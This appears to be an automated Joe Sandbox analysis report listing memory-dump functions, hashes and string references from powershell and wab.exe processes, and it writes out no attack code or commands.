Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b9c7f4fdcf65a4845234ddec14f4ee51581a8324ecc64305fc4feea9e654f6c
Instruction ID: 2751e9f617daa878ea360516ff57adbf9d83cb42e78fbaca5563cbdb2bea9628
Opcode Fuzzy Hash: 0b9c7f4fdcf65a4845234ddec14f4ee51581a8324ecc64305fc4feea9e654f6c
Instruction Fuzzy Hash: 7FD09E7095520BDAFF109AC0D62576F76757B21249F35141AC402A5141D774464B9692

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0314D504 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2009288787.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_314d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f7158b6f1456f32e6a07f2bfdd4c2e629ff1fd325806a3ef397b403216e9a9
Instruction ID: 9f4b8b616961e816f10943aee602ad55920ce50679718396f0a2de631529630e
Opcode Fuzzy Hash: 01f7158b6f1456f32e6a07f2bfdd4c2e629ff1fd325806a3ef397b403216e9a9
Instruction Fuzzy Hash: 5621F171500240DFDF05DF14E980B2ABF75FB88328F24C1A9E9094E217CB36D456CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0777C9E5 Relevance: 14.0, Strings: 11, Instructions: 285COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0777CCF0
tP^q, xrefs: 0777CB11
(dq, xrefs: 0777CC75
$^q, xrefs: 0777CA3D
(dq, xrefs: 0777CC40
tP^q, xrefs: 0777CB1D
(dq, xrefs: 0777CBD2
(dq, xrefs: 0777CC36
tP^q, xrefs: 0777CC0C
tP^q, xrefs: 0777CC18
4'^q, xrefs: 0777CCE4

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$tP^q$tP^q$$^q$(dq$(dq$(dq$(dq
API String ID: 0-459999756
Opcode ID: ba56f47776457e3c3036d14e78e3872c7dd8fe5c909b3d5f1dfcf94266b76913
Instruction ID: f32117667884fbe5cfc13894a0a9eba04bb50bf7b85fb3fe10b0ec626eed910a
Opcode Fuzzy Hash: ba56f47776457e3c3036d14e78e3872c7dd8fe5c909b3d5f1dfcf94266b76913
Instruction Fuzzy Hash: 3AA128B1B002099FCF25CF68C94466ABBEAAB8D391F248C59E8059F390DB31DD45C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 07775300 Relevance: 12.9, Strings: 10, Instructions: 390COMMON

Download Yara Rule

Strings

$^q, xrefs: 0777557C
4'^q, xrefs: 077755D6
4'^q, xrefs: 077755E2
$^q, xrefs: 077754F6
$^q, xrefs: 077755AD
4'^q, xrefs: 07775404
$^q, xrefs: 077755B9
$^q, xrefs: 07775517
4'^q, xrefs: 077753F8
$^q, xrefs: 0777556C

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3512890053
Opcode ID: 47751e10861ad548ff2d0d7ef800bed408c8a29147a54cca5b582d31182da803
Instruction ID: e2281204382fefc3fa9bdb2cd528f5038f90ec9b0b792dc0cae35b3ba3e25ba0
Opcode Fuzzy Hash: 47751e10861ad548ff2d0d7ef800bed408c8a29147a54cca5b582d31182da803
Instruction Fuzzy Hash: BAC136B1B0020ACFCF244B79994067ABBE6AFC1294F24887AE805CF355DF32D955C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07774D30 Relevance: 12.8, Strings: 10, Instructions: 306COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07774E37
4'^q, xrefs: 07774EDB
4'^q, xrefs: 07775034
4'^q, xrefs: 07774EE7
$^q, xrefs: 07774EB6
4'^q, xrefs: 0777503E
$^q, xrefs: 07774EA6
tP^q, xrefs: 07774E2B
$^q, xrefs: 07774DA9
$^q, xrefs: 07774D8D

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-788909730
Opcode ID: 23abb027a7525be440bdcdcffd098802fd75f96532e71ef4eda221b880cf9991
Instruction ID: e78cfca5d1e8eb28ec9beb8ef2f164a844dec23a7b9a1f694f73880ca877d93e
Opcode Fuzzy Hash: 23abb027a7525be440bdcdcffd098802fd75f96532e71ef4eda221b880cf9991
Instruction Fuzzy Hash: 1FA14BB1B002159FCF289B788940AAABBE2AFC5760F14C86AE8158F354DF32DD55C791

Uniqueness

Uniqueness Score: -1.00%

Function 0777D465 Relevance: 7.7, Strings: 6, Instructions: 194COMMON

Download Yara Rule

Strings

tP^q, xrefs: 0777D550
tP^q, xrefs: 0777D544
XRcq, xrefs: 0777D5D5
$^q, xrefs: 0777D4BD
XRcq, xrefs: 0777D5E5
XRcq, xrefs: 0777D4A1

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: XRcq$XRcq$XRcq$tP^q$tP^q$$^q
API String ID: 0-1682816917
Opcode ID: c2eb60c237095bee6ff33f8711ed819c722626855ed653356385c2cbedfdcb29
Instruction ID: efb97fb5d7c0d7e9ea0da7609d93b6309652cd326f1a5f313cff9adba5fe5f56
Opcode Fuzzy Hash: c2eb60c237095bee6ff33f8711ed819c722626855ed653356385c2cbedfdcb29
Instruction Fuzzy Hash: 676108B1B002059FCF349F68C501A6ABBE2AF89354F64C8A9E8059F355DB32DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0777AED8 Relevance: 7.6, Strings: 6, Instructions: 105COMMON

Download Yara Rule

Strings

$^q, xrefs: 0777AF0F
$^q, xrefs: 0777AF6F
$^q, xrefs: 0777AF7B
$^q, xrefs: 0777AF53
$^q, xrefs: 0777AF2B
$^q, xrefs: 0777AF5F

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: c564d6d4bd4d9cd959751f74699f54fc545c50af866ed2622d6d393bfe603ec0
Instruction ID: bffb32a4c69443b4b89eed63be65af5166113b0fd1b161f75c76e234a03f12cd
Opcode Fuzzy Hash: c564d6d4bd4d9cd959751f74699f54fc545c50af866ed2622d6d393bfe603ec0
Instruction Fuzzy Hash: 233121F2B043078FEF390A6D985056EB7A1ABD2291B29CC7FD4428F245DE32C899C751

Uniqueness

Uniqueness Score: -1.00%

Function 0777C4B4 Relevance: 6.4, Strings: 5, Instructions: 121COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0777C58D
$^q, xrefs: 0777C51B
4'^q, xrefs: 0777C581
$^q, xrefs: 0777C555
$^q, xrefs: 0777C561

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 5d39d3e5d973c312d7fb6e177de13bb52fcf5f5d4429fef2cfcfc968e1e0d1b8
Instruction ID: a6ef0375388a397695d449ee7d37ec91c854f87c833e7f2ab802ea60b111eda6
Opcode Fuzzy Hash: 5d39d3e5d973c312d7fb6e177de13bb52fcf5f5d4429fef2cfcfc968e1e0d1b8
Instruction Fuzzy Hash: 623127F2B043568FCF2A4A69945067ABBEEABCD590B748C6AD412CB245DE33C485C371

Uniqueness

Uniqueness Score: -1.00%

Function 07774D14 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07774EDB
$^q, xrefs: 07774EA6
tP^q, xrefs: 07774E2B
$^q, xrefs: 07774D8D
$^q, xrefs: 07774DA9

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$tP^q$$^q$$^q$$^q
API String ID: 0-3997570045
Opcode ID: 59a6d6fe37e87f8e3b417c647011d2fcb3408867e76cbe9e2b77b5be1aab1915
Instruction ID: 62eabbf2d5f33a52185a81efff0af66a0b7a6d6e28681750e34086a27a9f7be0
Opcode Fuzzy Hash: 59a6d6fe37e87f8e3b417c647011d2fcb3408867e76cbe9e2b77b5be1aab1915
Instruction Fuzzy Hash: 49416AB0A04285EFDF388F18C984BB5B7E1BF457B0F0889AAE9544F291CB71D850CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07776EF5 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07776FB4
$^q, xrefs: 07776F2F
$^q, xrefs: 07776F67
4'^q, xrefs: 07776FA8
$^q, xrefs: 07776F73

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: c47e7fead6fd63339a6498bcde1eb47848aad59f8b764e2294029996c8cf61a0
Instruction ID: b2e7694059d4ad13fe6ccb1c66c2126adf1c9add8912cc8854340d31b921a881
Opcode Fuzzy Hash: c47e7fead6fd63339a6498bcde1eb47848aad59f8b764e2294029996c8cf61a0
Instruction Fuzzy Hash: D53138B2B04606CFDF2D4A65981417AB7A2ABC2291B288C7ED405CF259DE36C859C791

Uniqueness

Uniqueness Score: -1.00%

Function 0777BAF8 Relevance: 5.5, Strings: 4, Instructions: 482COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0777BF31
(o^q, xrefs: 0777BF21
(o^q, xrefs: 0777BBEE
(o^q, xrefs: 0777BBDE

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q
API String ID: 0-1978863864
Opcode ID: c623d0ed6545b904448e9b9b25d22769d0bc5244311d89b008ef41fa233ad655
Instruction ID: cdbd506347b4a2d8ef3dc6c18c1983f8318b162e90294adc2e4efc9fcda9e803
Opcode Fuzzy Hash: c623d0ed6545b904448e9b9b25d22769d0bc5244311d89b008ef41fa233ad655
Instruction Fuzzy Hash: F7F128F1704309DFDF258F68C844BAABBA5EF86350F14C86AE415CB2A1DB31D845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0777DBC0 Relevance: 5.3, Strings: 4, Instructions: 299COMMON

Download Yara Rule

Strings

x.zk, xrefs: 0777DFB4
4'^q, xrefs: 0777DDF2
-zk, xrefs: 0777DFF9
4'^q, xrefs: 0777DD73

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$x.zk$-zk
API String ID: 0-13902329
Opcode ID: 77885a57388c000f2cb1b5693d748d50bd29250fd0f05a2746eb51a2c16dbfce
Instruction ID: ece1f292e7d51d7e59ea4a6bcd977212f2b9c7fa62f497a055dc5337130fb037
Opcode Fuzzy Hash: 77885a57388c000f2cb1b5693d748d50bd29250fd0f05a2746eb51a2c16dbfce
Instruction Fuzzy Hash: D1C1B2B4B00205DFDB34DF54C941B6EBBB2BF88345F248819D8156B755CB72AC86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0844164C Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

\V-k, xrefs: 0844181A
j'L, xrefs: 08441677
\V-k, xrefs: 084416C7
j'L, xrefs: 08441697

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID: \V-k$\V-k$j'L$j'L
API String ID: 0-1705554562
Opcode ID: cd17913fc8ad090a100eb616c6713ae0babcbe227decdbfa4207a66ffabad979
Instruction ID: 23467098f2f01987a6a42931825301843e7a46896604dae2d7c9696a7b651080
Opcode Fuzzy Hash: cd17913fc8ad090a100eb616c6713ae0babcbe227decdbfa4207a66ffabad979
Instruction Fuzzy Hash: 48715E70E00209DFEF10CFA9C9817DEBBF1AF88755F24912AD415A7254EB749886CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08441658 Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

\V-k, xrefs: 0844181A
j'L, xrefs: 08441677
\V-k, xrefs: 084416C7
j'L, xrefs: 08441697

Memory Dump Source

Source File: 00000005.00000002.2023590545.0000000008440000.00000040.00000800.00020000.00000000.sdmp, Offset: 08440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8440000_powershell.jbxd

Similarity

API ID:
String ID: \V-k$\V-k$j'L$j'L
API String ID: 0-1705554562
Opcode ID: fa2f6611f6c80a191376b863552a84234a458081579cd68389bdd09c61ae5947
Instruction ID: 6c8fb7224856477ea0321d39206dbb9fcf3cfb5bfdf03aa50dfb80c8dd1306cb
Opcode Fuzzy Hash: fa2f6611f6c80a191376b863552a84234a458081579cd68389bdd09c61ae5947
Instruction Fuzzy Hash: 34715C70E00209DFEF14CFA9C98179EBBF2AF88355F24912AD415A7354EB749886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 077757B0 Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

$^q, xrefs: 0777584C
$^q, xrefs: 07775858
$^q, xrefs: 077757DF
$^q, xrefs: 077757FB

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 8d3d189a8b3b75ed1dd40aa3d4463660404859f9a49eced98adcf05117f83696
Instruction ID: f32aaf3eb1c83bb027876b5c6c88b39aadd2f019f760f7c81731373d6c728de1
Opcode Fuzzy Hash: 8d3d189a8b3b75ed1dd40aa3d4463660404859f9a49eced98adcf05117f83696
Instruction Fuzzy Hash: CE3145B07103056BEA344A294D00B7B76CA9FC1B44F148C3EA906CF796DE76DD49C3A5

Uniqueness

Uniqueness Score: -1.00%

Function 07770CB8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07770CE6
$^q, xrefs: 07770CCA
$^q, xrefs: 07770D14
$^q, xrefs: 07770D20

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 4cdc7567ba28a1ac070f9e1a2dacf7c1fde78461d2942c1e24a429bf7bb55b38
Instruction ID: dbd77e3af53a8ab48630241ff71371fe00a0a03ca63367ab4af80824e0daa2ea
Opcode Fuzzy Hash: 4cdc7567ba28a1ac070f9e1a2dacf7c1fde78461d2942c1e24a429bf7bb55b38
Instruction Fuzzy Hash: 7F2147B130030A5BDF38097E8944B277AD6ABC1750F248C3AA809CF385DD71E854C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 077717A0 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$^q, xrefs: 077717F6
4'^q, xrefs: 0777180B
4'^q, xrefs: 07771817
$^q, xrefs: 077717EA

Memory Dump Source

Source File: 00000005.00000002.2022159499.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 7e3b689e17732509757980eb14d39e4371b37de4c9231f6f8affbead154a1b34
Instruction ID: 5a2c927c3ad5e1c2b25fbb59632ed0cff3d65d21b3e0e9c954d525ff322ab429
Opcode Fuzzy Hash: 7e3b689e17732509757980eb14d39e4371b37de4c9231f6f8affbead154a1b34
Instruction Fuzzy Hash: C001A2A1B0D38D4FD73A12681C245656FF65BC296076A0AEBC091CF296CD598C49C3A3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 2304, Parent PID: 6528COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	71.3%
Total number of Nodes:	1441
Total number of Limit Nodes:	40

Executed Functions

Function 23C12B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 23C12B6A

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 71d54a2eb6cc7fbd39858c5e60bebd163ce3a33a88c353ec71d6e4d986e8ec19
Instruction ID: 2aa32889bec5f286f7b3c0a12f11dbff53ce3ffc77f94dbb0e8e3ad195651378
Opcode Fuzzy Hash: 71d54a2eb6cc7fbd39858c5e60bebd163ce3a33a88c353ec71d6e4d986e8ec19
Instruction Fuzzy Hash: F0900261206A0443410671585455616440A47E0601B56C061E1018550DC92589916125

Uniqueness

Uniqueness Score: -1.00%

Function 23C135C0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 23C135CA

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2be9e3519606830bd50ffd8b2a51d7949213ca3d5c05216b165a0195a46f5829
Instruction ID: 6d9fa2f6cbe15fc2dca28bdfdc9dd73288ea4821f145db7526a3eaa68156119d
Opcode Fuzzy Hash: 2be9e3519606830bd50ffd8b2a51d7949213ca3d5c05216b165a0195a46f5829
Instruction Fuzzy Hash: ED900231609B0842D10171585555706140547D0601F66C451A0428528D8B958A5165A2

Uniqueness

Uniqueness Score: -1.00%

Function 23C12DF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 23C12DFA

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70137a7187b4f8de51ee29adfd205b9e48bc64b0fd7bdf26958a4ce191941477
Instruction ID: 70a2eb9ecfd6f8e850a4ef721fc3cedfa6b20925647385b629cc87fc38d3fe4a
Opcode Fuzzy Hash: 70137a7187b4f8de51ee29adfd205b9e48bc64b0fd7bdf26958a4ce191941477
Instruction Fuzzy Hash: 0C900231205A0853D11271585545707040947D0641F96C452A0428518D9A568A52A121

Uniqueness

Uniqueness Score: -1.00%

Function 23C12C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 23C12C7A

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e4b23fced2874b6495c26bc621df5c93c34a5ddc43fda2c105fe9877c50d1acf
Instruction ID: bf69c7b5360bef4b5018bf821bf68e720fb41f80cc5331848c4821ff37ba2d7c
Opcode Fuzzy Hash: e4b23fced2874b6495c26bc621df5c93c34a5ddc43fda2c105fe9877c50d1acf
Instruction Fuzzy Hash: 09900231205A8C42D1117158944574A040547D0701F5AC451A4428618D8A9589917121

Uniqueness

Uniqueness Score: -1.00%

Function 23C12C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 23C12C24

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d1f3373a0359d11b7f51c9f9fbc6575497ad37a633b2c4028b01f22e21792780
Instruction ID: acbd5aed60754d4b77abf1045fbb88196c7470df7d2f2d87020a8bc11bf8dccf
Opcode Fuzzy Hash: d1f3373a0359d11b7f51c9f9fbc6575497ad37a633b2c4028b01f22e21792780
Instruction Fuzzy Hash: E0B09B71905AC5C6E601F76056097077D0467D1701F1AC0A1D3434641F4739C1D1F575

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 23C029F9 Relevance: 14.2, Strings: 11, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RtlpResolveAssemblyStorageMapEntry, xrefs: 23C4261F
@, xrefs: 23C4259B
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 23C42412
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 23C42602
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 23C424C0
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 23C425EB
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 23C42498
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 23C42506
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 23C42409
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 23C422E4
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 23C42624

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: bd832f8152b782f4a962ddfb8a1d04a16abccdf8fac5cd5934146c04196b7682
Instruction ID: 1ba98512df0fb6d253e9a7d81843980303f6e6dabba94ac52bc7cfd5a5a6bfea
Opcode Fuzzy Hash: bd832f8152b782f4a962ddfb8a1d04a16abccdf8fac5cd5934146c04196b7682
Instruction Fuzzy Hash: 56026DB1D102689BDB21DB14CC81BAAB7B8AF54304F0541EAE749E7245EB31AF84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 23C78B42 Relevance: 12.6, Strings: 10, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

SegmentHeap, xrefs: 23C78BE9
services.exe, xrefs: 23C78B96
csrss.exe, xrefs: 23C78B80
smss.exe, xrefs: 23C78B8B
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 23C78BD0
heapType, xrefs: 23C78BCB
DefaultBrowser_NOPUBLISHERID, xrefs: 23C78D00
lsass.exe, xrefs: 23C78BA1
svchost.exe, xrefs: 23C78B68
runtimebroker.exe, xrefs: 23C78B73

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 2e3ea445e33de43b2c1981efb6a0d778b3e175dc15f2ce5007b208e6bae1e5fd
Instruction ID: 46573f1ff62d10b6122836af8ce669e0fa4a8a74b560c575a5e8c89d0ef245a5
Opcode Fuzzy Hash: 2e3ea445e33de43b2c1981efb6a0d778b3e175dc15f2ce5007b208e6bae1e5fd
